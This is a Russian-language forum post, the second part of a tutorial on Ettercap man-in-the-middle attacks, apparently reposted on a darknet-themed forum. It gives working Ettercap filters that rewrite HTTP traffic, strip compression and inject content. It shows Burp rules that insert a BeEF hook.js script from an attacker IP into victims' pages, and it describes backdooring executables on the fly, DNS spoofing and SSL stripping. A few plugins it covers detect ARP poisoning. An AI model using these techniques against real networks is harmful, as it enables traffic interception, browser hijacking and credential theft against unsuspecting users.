Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 969
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:
Код:
sudo apt-get remove ettercap-graphical ettercap-common
sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev
git clone -b filter-improvements https://github.com/Ettercap/ettercap.git
cd ettercap/
mkdir build
cd build
cmake ENABLE_PDF_DOCS=On ../
make
sudo make install
В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:




В файл с именем img_replacer.filter скопируйте:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}
Скомпилируйте файл:
Код:
etterfilter img_replacer.filter -o img_replacer.ef
Результаты компиляции:
Код:
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
 Parsing source file 'img_replacer.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'img_replacer.ef'  done.
 -> Script encoded into 18 instructions.
Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:
Код:
ettercap -G -F img_replacer.ef
Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "gzip")) {

    replace("gzip", "    "); # примечание: четыре пробела в заменяемой строке

        msg("whited out gzip\n");

    }

}

if (ip.proto == TCP && tcp.dst == 80) {

    if (search(DATA.data, "deflate")) {

        replace("deflate", "       "); # примечание: семь пробелов в заменяемой строке

        msg("whited out deflate\n");

    }

}

а далее ещё несколько примеров:

# замена текста в пакете:

if (ip.proto == TCP && search(DATA.data, "lol")){

    replace("lol", "smh");

    msg("filter ran");

}

 

# показать сообщение, если tcp портом является 22

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      msg("SSH packet\n");

   }

}

# записать весь telnet трафик, также выполнить ./program на каждый пакет

if (ip.proto == TCP) {

   if (tcp.src == 23 || tcp.dst == 23) {

      log(DATA.data, "./logfile.log");

      exec("./program");

   }

}

# записать весь трафик, кроме http

if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {

   log(DATA.data, "./logfile.log");

}

# некоторые операции с полезной нагрузкой пакетов

if ( DATA.data + 20 == 0x4142 ) {

   DATA.data + 20 = 0x4243;

} else {

   DATA.data = "modified";

   DATA.data + 20 = 0x4445;

}

# отбросить все пакеты, содержащие "ettercap"

if (search(DECODED.data, "ettercap")) {

   msg("some one is talking about us...\n");

   drop();

   kill();

}

# записать расшифрованные ssh пакеты, соответствующие регулярному выражению

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      if (regex(DECODED.data, ".*login.*")) {

         log(DECODED.data, "./decrypted_log");

      }

   }

}

# убийство пакетов

if (ip.ttl < 5) {

   msg("The packet will die soon\n");

}

# то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты

if (eth.proto == IP6 && ipv6.hl < 5) {

   msg("The IPv6 packet will die soon\n");

}

# сравнение строки на данный сдвиг

if (DATA.data + 40 == "ette") {

   log(DATA.data, "./logfile");

}

# вставить файл после указанного пакета

if (tcp.src == 21 && search(DATA.data, "root")) {

   inject("./fake_response");

}

# целиком заменить пакет на другой

if (tcp.src == 23 && search(DATA.data, "microsoft")) {

   drop();

   inject("./fake_telnet");

}

# Изменение бинарных данных используя внешнюю программу

if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {

   log(DATA.data, "/tmp/payload");

   drop();

   execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");

   udp.len += 7;

   exec("/bin/rm /tmp/payload");

   msg("faked");

}

# фильтровать только указанный IP адрес

if (ip.src == '192.168.0.2') {

   drop();

}

# делать то же самое для IPv6

if (ipv6.src == '2001:db8::1') {

   drop();

}

# комбинируем IPv4 и IPv6

if (eth.proto == IP && ip.dst == '192.168.0.2') {

   msg("drop IPv4");

   drop();

}

if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {

   msg("drop IPv6");

   drop();

}

# транслировать tcp пакеты с порта 80 на 81

if (tcp.dst == 80) {

   tcp.dst -= 1;

   tcp.dst += 2;

}

# найти и покалечить пакеты ESP

if (ip.proto == ESP) {

   DATA.data = "DEADDECAF";

}

4.2 Подмена данных с помощью Burp
Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса
Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять
Код:
<title>.*<\/title>

на

<title>No Title</title>
Поставьте галочку на Regex match.




Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:




Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем
Код:
<body.*?>

На

<body><p>I am cool!</p>
Поставьте галочку на Regex match.




В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.




Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF
Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:
Код:
<script src="IP_или_ХОСТ/hook.js">
Следующие два метода различаются только методом внедрения этой строки.


5.1 Подцепление BeEF с помощью фильтров Ettercap
[раздел будет подготовлен позже]


5.2 Подцепление BeEF с помощью Burp
Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:
Код:
<script src="IP_или_ХОСТ/hook.js">


В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:
Код:
<script src="http://192.168.1.36:3000/hook.js">
Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена
Код:
<\/head>

На

<script src="http://192.168.1.36:3000/hook.js"></head>



Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:




6. Заражение бэкдорами
Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite.


7. Использование плагинов Ettercap
Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:
Код:
-P, --plugin <плагин>       запустить этот <плагин>
Также плагины можно загрузить из графического интерфейса:



[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop
Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

пример:
Код:
ettercap -TQP arp_cop //
Пример реального выявления ARP спуфинга:

Развернуть

7.2 autoadd
Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison
Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof
Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn
Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

пример:
Код:
ettercap -TQzP find_conn

ettercap -TQu -i eth0 -P find_conn
7.6 find_ettercap
Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner
Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

пример:
Код:
ettercap -TQP scan_poisoner //
7.8 search_promisc
Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

примеры:
Код:
ettercap -TQP search_promisc /192.168.0.1/

ettercap -TQP search_promisc //
7.9 sslstrip
Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение
Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя